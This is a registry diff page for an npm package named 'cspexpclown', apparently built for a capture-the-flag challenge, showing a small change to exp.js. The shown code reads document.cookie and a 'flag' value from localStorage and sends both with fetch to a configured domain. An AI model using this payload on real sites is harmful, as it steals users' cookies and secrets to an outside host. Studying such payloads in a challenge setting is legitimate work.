RubyGems
npm
Organizations
Log in
Sign up
npm
cspexpclown
Versions diffs
1.0.1 → 1.0.2
cspexpclown 1.0.1 → 1.0.2
Sign up to get
free
protection for your applications and to get access to all the features.
Files changed (2)
hide
show
package/exp.js
+1
-1
package/package.json
+1
-1
package/exp.js
CHANGED
Viewed
@@ -6,7 +6,7 @@
6
6
const cookies = document.cookie;
7
7
8
8
// 获取全局变量 flag
9
-
const flag =
window
.flag;
9
+
const flag =
localStorage
.
getItem('
flag
')
;
//因为从localStorage来set的,所以要这样获取
10
10
11
11
// 发送GET请求并带上Cookie和flag
12
12
const res = await fetch(`${domain}`, {
package/package.json
CHANGED
Viewed
@@ -1,6 +1,6 @@
1
1
{
2
2
"name": "cspexpclown",
3
-
"version": "1.0.
1
",
3
+
"version": "1.0.
2
",
4
4
"description": "csp",
5
5
"main": "index.js",
6
6
"scripts": {